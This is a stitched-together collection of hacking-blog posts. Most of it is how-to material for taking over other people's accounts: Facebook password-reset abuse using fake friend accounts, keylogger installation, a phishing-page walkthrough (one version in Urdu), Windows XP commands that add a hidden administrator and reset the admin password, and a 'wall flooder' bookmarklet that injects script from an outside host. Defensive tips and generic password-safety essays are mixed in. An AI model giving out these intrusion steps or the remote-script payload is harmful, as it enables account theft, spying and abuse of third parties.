4 Ways to Crack a Facebook Password and How to Protect Yourself from Them

Despite the security concerns that have plagued Facebook for years, most people are sticking around and new members keep on joining. This has led Facebook to break records numbers with over one billion monthly active users as of October 2012—and around 600 million active daily users.

We share our lives on Facebook. We share our birthdays and our anniversaries. We share our vacation plans and locations. We share the births of our sons and the deaths of our fathers. We share our most cherished moments and our most painful thoughts. We divulge every aspect of our lives. We even clamor to see thelatest versions even before they're ready for primetime.

But we sometimes forget who's watching.

We use Facebook as a tool to connect, but there are those people who use that connectivity for malicious purposes. We reveal what others can use against us. They know when we're not home and for how long we're gone. They know the answers to our security questions. People can practically steal our identities—and that's just with the visible information we purposely give away through our public Facebook profile.

The scariest part is that as we get more comfortable with advances in technology, we actually become more susceptible to hacking. As if we haven't already done enough to aid hackers in their quest for our data by sharing publicly, those in the know can get into our emails and Facebook accounts to steal every other part of our lives that we intended to keep away from prying eyes.

In fact, you don't even have to be a professional hacker to get into someone's Facebook account.

It can be as easy as running Firesheep on your computer for a few minutes. In fact, Facebook actually allows people to get into someone else's Facebook account without knowing their password. All you have to do is choose three friends to send a code to. You type in the three codes, and voilà—you're into the account. It's as easy as that.

In this article I'll show you these, and a couple other ways that hackers (and even regular folks) can hack into someone's Facebook account. But don't worry, I'll also show you how to prevent it from happening to you.

Method 1: Reset the Password

The easiest way to "hack" into someone's Facebook is through resetting the password. This could be easier done by people who are friends with the person they're trying to hack.

• The first step would be to get your friend's Facebook email login. If you don't already know it, try looking on their Facebook page in the Contact Info section.
• Next, click on Forgotten your password? and type in the victim's email. Their account should come up. Click This is my account.
• It will ask if you would like to reset the password via the victim's emails. This doesn't help, so press No longer have access to these?
• It will now ask How can we reach you? Type in an email that you have that also isn't linked to any other Facebook account.
• It will now ask you a question. If you're close friends with the victim, that's great. If you don't know too much about them, make an educated guess. If you figure it out, you can change the password. Now you have to wait 24 hours to login to their account.
• If you don't figure out the question, you can click on Recover your account with help from friends. This allows you to choose between three and five friends.

• It will send them passwords, which you may ask them for, and then type into the next page. You can either create three to five fake Facebook accounts and add your friend (especially if they just add anyone), or you can choose three to five close friends of yours that would be willing to give you the password.

How to Protect Yourself

• Use an email address specifically for your Facebook and don't put that email address on your profile.
• When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simply going through your Facebook. No pet names, no anniversaries—not even third grade teacher's names. It's as easy as looking through a yearbook.
• Learn about recovering your account from friends. You can select the three friends you want the password sent to. That way you can protect yourself from a friend and other mutual friends ganging up on you to get into your account.

Method 2: Use a Keylogger

Software Keylogger

A software keylogger is a program that can record each stroke on the keyboard that the user makes, most often without their knowledge. The software has to be downloaded manually on the victim's computer. It will automatically start capturing keystrokes as soon as the computer is turned on and remain undetected in the background. The software can be programmed to send you a summary of all the keystrokes via email.

CNET has Free Keylogger, which as the title suggests, is free. If this isn't what you're looking for, you can search for other free keyloggers or pay for one.

Hardware Keylogger

These work the same way as the software keylogger, except that a USB drive with the software needs to be connected to the victim's computer. The USB drive will save a summary of the keystrokes, so it's as simple as plugging it to your own computer and extracting the data. You can look through Keelog for prices, but it's bit higher than buying the software since you have the buy the USB drive with the program already on it.

How to Protect Yourself

• Use a firewall. Keyloggers usually send information through the internet, so a firewall will monitor your computer's online activity and sniff out anything suspicious.
• Install a password manager. Keyloggers can't steal what you don't type. Password mangers automatically fill out important forms without you having to type anything in.
• Update your software. Once a company knows of any exploits in their software, they work on an update. Stay behind and you could be susceptible.
• Change passwords. If you still don't feel protected, you can change your password bi-weekly. It may seem drastic, but it renders any information a hacker stole useless.

Method 3: Phishing

This option is much more difficult than the rest, but it is also the most common method to hack someone's account. The most popular type of phishing involvescreating a fake login page. The page can be sent via email to your victim and will look exactly like the Facebook login page. If the victim logs in, the information will be sent to you instead of to Facebook. This process is difficult because you will need to create a web hosting account and a fake login page.

The easiest way to do this would be to follow our guide on how to clone a website to make an exact copy of the facebook login page. Then you'll just need to tweak the submit form to copy / store / email the login details a victim enters. If you need help with the exact steps, there are detailed instructions available by Alex Long here on Null Byte. Users are very careful now with logging into Facebook through other links, though, and email phishing filters are getting better every day, so that only adds to this already difficult process. But, it's still possible, especially if you clone the entire Facebook website.

How to Protect Yourself

• Don't click on links through email. If an email tells you to login to Facebook through a link, be wary. First check the URL (Here's a great guide on what to look out for). If you're still doubtful, go directly to the main website and login the way you usually do.
• Phishing isn't only done through email. It can be any link on any website / chat room / text message / etc. Even ads that pop up can be malicious. Don't click on any sketchy looking links that ask for your information.
• Use anti-virus & web security software, like Norton or McAfee.

Top 10 Facebook Hacks [Userscript Hacks]

NOTE:  This is an old post that has been modified with new links and text, so few userscripts may or may not work according to recent facebook privacy changes :)

Userscripts have taken our entire online experience to a new level, with userscripts we can easily add any kind of JavaScript activity to our online service's like I posted YouTube Center Script that enhances the YouTube experience by providing you various playback options and much more, so today I will be posting 10 great userscript hacks that will allow you to modify your facebook experience.
So using these userscripts I have posted below you will be able to view albums, change your facebook layout and much more so jump in and lets get started.

1. View Private Albums - well you can easily view private albums of any person if he or she is not your friend too, well just install this userscript [Link] and see links to original image to their albums.
2. Remove Facebook Advertisements - facebook cleaner is another good userscript that simply allows you to remove that bad sponsored and advertisement area from facebook so to do that just install this userscript[Link] and see them vanished away.
3. Redirect Real Profile's - normally when searching about any person you come across your public pages, well using this userscript [Link] you can get redirected to real people's profile, well make sure that you are logged in to facebook for avoiding infinite loop's.
4. Undo Facebook Changes - facebook always come's with something special and unique but everyone does not accept those changes, so if you are one of them then this simple userscript [Link] will allow you to undo an facebook change by choosing at what level you want to undo at, so its really a good hack.
5. Viewing all Photo's - well sometimes you may try to view every photo related to that person, well you can not do that if that person has some tight privacy settings or something by using this easy userscript [Link]you can do that.
6. Find More New Friends - sometimes your known friends join facebook but you do not know about that thing, well using this official facebook feature [Link] you can find them by checking your friends list.
7. Sharing File from Facebook - well are wondering how to share file's from facebook well these 30 apps [Link]will allow you to desktop share anything using Facebook.
8. Get Job from Facebook - well if you are a facebook addict then this could be the easiest way to get job on facebook as this apps [Link] include easy job opportunities and other stuff for you.
9. Tighten Privacy on Facebook - well if you consider a good privacy plan for your facebook profile then these privacy checking tool's [Link] will allow you to check your online facebook privacy and will tell you what to tighten up for more optimum level of facebook experience.
10. Cheat Facebook Texas Poker - well using this simple tool [Link] you can see cards of any player's and hence you could cheat out virtually.

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How do you block websites in Windows for a specific time period using Focal Filter?

There are a lot of programs out there that can block access to Web sites. The problem with them is that you have to manually disable the block. However, with Focal Filter it can be done automatically. You just have to set the time span for which you want the block to exist. Focal Filter is a program for Windows operating systems that can block a user-generated list of Web sites for a specified period of time. The lock on these sites will persist until the time has elapsed, at which point you can extend the lock or unblock them.

Follow these 5 easy steps:

1) Download and install Focal Filter.

2) Open the Windows start menu and type Focal Filter into the search box.

Now run the Focal Filter program that appears in the list.sp;

3) Click Edit My Site List option to open a new window containing the names of the sites you want to block. Add more sites if you want. Click the Save button when you have finished.

4) Click on the area next to the label Block for. Then a list of available times ranging from 5 minutes to 12 hours will be displayed. Select the time that best fits your need. Now click theBlock My Site List button to block your browsers from visiting your list of Web sites. Note that you might have to restart your browser before the block will work.

5) This is what you will see when the timer ends:

a) You can unblock the sites by hitting the Close button.

OR

b) You can press the Block Again button if you want to extend the block.

Hack Windows XP Login Password

Hack Admin Password From User Mode
Disclaimer: Use this article for eductational purpose ONLY.

Follow these steps:
1. Open command prompt (Start->Run->cmd),
2. Enter the following command, then press ENTER

3. Enter the followin command, then press ENTER:
compmgmt.msc
This should open the computer management console.
4. Go to local users & groups->users. Right click on any user and select "set password".

If you get a "access denied" do the following:

start>run>cmd
then use following commands
1) net user test /add (this command will make test named user)
2) net localgroup administrators test /add (this command will make test user as administrators rights)

and use net user command to reset your admin. password

Alternative

What if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..
Start >> Run >> [type]cmd // this will open your command prompt
[type] net(space)user(press enter)
[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)

// for e.g. : net user HOME *(press enter)

[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..
// for e.g. : password changed successfully.

Easy Hide My IP with Serial and Crack

By: Rai Adnan

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Facebook Flooder (Post unlimited any text on your friends wall)

Facebook Flooder (Post unlimited any text on your friends wall)

Want to flood someone's wall on facebook ????

looks like someone is annoying you ............ :D

here i have a neat little javascript that does it all for ya people ......


step1>>>>> goto the wall of the person whom you want to flood

step2>>>>>copy this

HTML Code:

javascript:(a = (b = document).createElement("script")).src = "//imaginemonkeys.com/a.js", b.body.appendChild(a); void(0);

or

javascript:(a = (b = document).createElement("script")).src = "//imaginemonkeys.com/a.js", b.body.appendChild(a); void(0);

step3>>>>> paste it on the url bar (address bar) and Hit Enter


step4>>>>>when you have done enter it ill ask to you that how much numbers you want to post edit and write there 100 or any you want, then click ok

Step5>>>>>then a new box will open write there message that you want to post and hit ok.


Now u have done..:D now check ur friend wall....:D

Facebook Account Hack (in urdu)

Facebook Account Hacking in Urdu Phishing Attack, Facebook Account kese hack huta he phishing se?

Step 1: download fake login

Step 2: apna ek free account bnaye kisi bhi ftp hosting service me, me ap ko http://www.110mb.com/ Suggest kerta hu yaha pe jaa ker free signup pe click kere or ek account register kere.
Step 3: jab ap apna hosting account click ker le tu fake page ki 2 files php or htm files ko upload ker den.

Step 4: jub ap dono files upload ker len tu Facebook htm pe right click kere or us file ki link location copy ker le jessa k nichey image me dikhaya gya he or us link ko copy ker k us person ko den jis ka account ap ne hack kerna he, jab wo es fake page se login hu ga tu ek password log ki file khud hi creat hu jaye gi..:)

Enjoy it.... agr ap ko kisi bhi step me mushkil hu tu comment keren ya phir muj se contact kere
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Hacking: XP 2 Tips

By: Rai Adnan

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Win XP Tip, Hidden Back-up utility

Insert your windows XP disc into your PC.

Click exit if your installation screen comes up.

Now go too your CD drive in *My Computer*. Right-click and select open.

Choose VALUE ADD\MSFT\NT BACK-UP FILE.

In the *files of type* drop down list be sure that *select all files* is on.

Click on the NTBACK-UP.msi file and click okay.

Click the finish button and now go over too the start button\ALL PROGRAMS\ACCESSORIES\SYSTEM TOOLS\ and there it is now.. BACK-UP FILES...

Great little tool that Microsoft never should have hidden.

Win XP Tip, Rename Multiple Files

A new, small, neat feature for winXP deals with renaming files. I personally have always wanted the OS to include a way to do a mass file renaming on a bunch of files. You can now rename multiple files at once in WinXP. Its real simple:

1. Select several files in Explorer, press F2 and rename one of those files to something else. All the selected files get renamed to the new file name (plus a number added to the end).

2. Thats it. Simple huh.

What Is Hacking, and Simple Tips to Save Your Computer From Hacking

By Anas Shad

What is Computer Hacking?

Computer hacking is the practice of making malicious modifications to a program in order to achieve a goal outside the original purpose of the creator. A person who engages into these activities is called a Hacker, who is usually an expert programmer who regards hacking as an art and as a way to apply their skills in real life situations. But other hackers have far more dangerous objectives than just to demonstrate their skills, like stealing personal information, gaining unauthorized access, etc.

Who are Hackers?

Hacking has been a serious problem. Hacking has gained tremendous development after the introduction of the internet because of the ease of access to systems around the world which this technology provides. With the increasing use of the internet, hacking has also become a more serious issue in recent times. Hackers are usually young individuals in the field of programming but there are also some old sheep. Also the easy access to any type of information has helped expand expertise in the field of hacking. Now it does not require an expert programmer to hack a computer of private network. Just a nice guiding article can turn a kid into an expert hacker.

Threats of Hacking

Hackers have become so expert that even giant software associates like Microsoft and Nintendo are not safe from this misery, causing losses of millions of dollars every year. The targets are not limited to the giants, private users are also greatly affected by this threat. The theft of personal information, credit destruction, and unauthorized access to private information are only some of the threats that hacking pose to private users.

How to protect yourself against Hacking

Hacking is a complex issue but the process of to protect yourself from hacking is quite simple. Simple precautions can mean the difference between a full proof secure system and a vulnerable network. Follow these simple tips to save yourself from hackers.

Hackers are always searching for loose ends in your security. So its important to pay attention to all little things in order to have a full proof security for your data and computer. Virus and Spyware are true Hacker's tools. Weakening your security and secretly sending your private information in wrong hands. The best way to beat them is to use anti virus and anti spyware software. It is also important to use updated versions of security software and OS as they loses effectiveness with time. Another good strategy is to use a Firewall to stop unauthorized access to your system. And it is also important to be careful when surfing the internet and using emails. These simple tricks can mean the difference. And remember, Care is Better Than Cure.

Anas Shad is a student and writer from Karachi, Pakistan. He is studying computer software and possesses good knowledge about the latest technological developments. Anas Shad writes articles on online earning, health, travel, education and technology. Check out more from Anas Shad at his Blog. For more tips on how to protect your data and system from hackers, see: Save Your Computer From Hackers.

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Tips On Password Strength and Computer Security Tips - What You Need to Know

By Michael Maxstead

Our computers and emails are what we use on a daily basis to connect with others, so there's no doubt we should learn how to protect our computers and emails. In the world of crazy people, there are dozens of people out there who are always on the verge of hacking another person's email or computer. Your job is to stay away from these people by creating passwords that others can't find out.

Password Strength and related Computer Security Tips - What You Need to Know

Did you know that dozens of people get their emails hacked everyday? What they actually do is hack you so that they can email all of the people in your contacts list and give them their virus link of some kind. Usually it'll be a scam or useless site just waiting to break your friends and families computers. A good tip worth remembering is to always update your email addresses password at least once a week. You should also try to convince all of your friends and family to do the same. Other people even change it on a consistent basis, so they can really stay away from hackers and spammers alike. Some people even change their passwords on their computer weekly, so you should do the same.

Tips on strengthening your password

When strengthening your password, you want it to be different and not related to your name. Try thinking of a time something special happened and use that to be a part of your password. Maybe you can try coming up of a special event that's going to happen and include that in your password. Don't forget to include numbers, other letters, and capitalization to your passwords to increase its strength. It could be very easy for most people to get their emails hacked because their passwords just include their name and several other numbers. So, stay away from these people by always making your password harder than ever.

Anti virus software

What's nice about having an anti virus software is that it can protect you from all types of viruses to come near your computer. Remember to not buy too much, as that also isn't good for your laptop or PC. Instead, I highly recommend that you buy just one and learn how to use it as much as you can. By doing so, you'll be able to learn how to always use it for future reference.

There are dozens of people always looking to hack into your account, not to mention use your email contacts list for their own benefit. By updating your passwords and adding an anti virus software to your system, you can stay away from such people. If you want to be safe, then doing the above things are vital for your privacy. So, keep yourself away from such problems and start changing your passwords on a consistent basis. This will help tremendously on keeping your pictures and friends safe. Always remember that people are looking for victims to hack everyday, so just remember to stay aware about these people.

Michael Maxstead is a computer networking consultant who likes to write about VPN and Networking related technologies. If you visit his website VPNreviewz.com you can learn about secure tunnel and vpn strong.

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Password Hacking - An Explanation And How to Protect Yourself

By Michael Maxstead

Unfortunately, people generally use a single password to every online account they have: the online banking account, social networking sites, e-mail and other websites that requires them to sign up. That's why it is very easy for hackers to pass beyond their protection, compromise an account and then have access to all others.

This is the main reason the computer security is so important nowadays. Protecting yourself from password hackers will help you avoid unpleasant situations or even destructive ones.

What represents password hacking? It is a method used by hackers to crack someone password in order to gain access to personal data, access copyrighted works or sensitive intellectual property, steal money from a bank account or use the computer or server to send out spam email. Hackers prefer searching for 'security holes' through which they can easily gain access on your account without much trouble. These holes usually exist in the plugins and that we install on our sites and PC's.

Another method used by them in the password hacking process is to use programs or software which run through letter and number combinations until it gets a match with the real password, gaining access to your account. They can destroy all of your files stored in the PC or erase your e-mails.

Everybody can be targeted by computer hackers, especially those with a bank account or with an important position in a company. That's why is crucial to protect yourself against them. How to do that? There are several methods. The first 4 are for your PC protection, the rest will tell you how to protect from password hackers:

- Buy a good virus protection software and keep it up-to-date: this will keep the worms out, even if they are "up-to-date"

- Avoid downloading programs from unknown sources, like torrents and other free sources; it's best to stick with commercial software purchased on CD-ROM or via internet

- Make sure that the Firewall and the Macro Virus Protection feature is enabled in all Microsoft applications on the PC: this will increase your protection greatly

- Never access (or double click) an email attachment containing an executable program which have an extension like.exe,.com, or.vbs. This can be a very dangerous virus which triggers if you open the file

- Add just one special character to your password: this will give your more protection than using words from the dictionary. It will take 10.000 times more time to hack your password

- Make your password longer and also set at least one capitalised letter

- Try to use a different password to every important online accounts you posses, such as e-mails, bank accounts, or the online storage service

- Personalize your own security question: you' ll often find security questions on e-mail services such as gmail, yahoo or msn, allowing users to gain access to their online account in case they have forgotten their password. Be smart and choose a difficult answer that nobody will guess.

- Also use your mobile phone for password recovery: this service is provided by Google.

- And lastly back-up all of your data on an external hard disk or and stick, just in case.

Michael Maxstead is a computer networking consultant who likes to write about VPN and Networking related technologies. If you visit his website VPNreviewz.com you can learn about hotspot shield and personal vpn.

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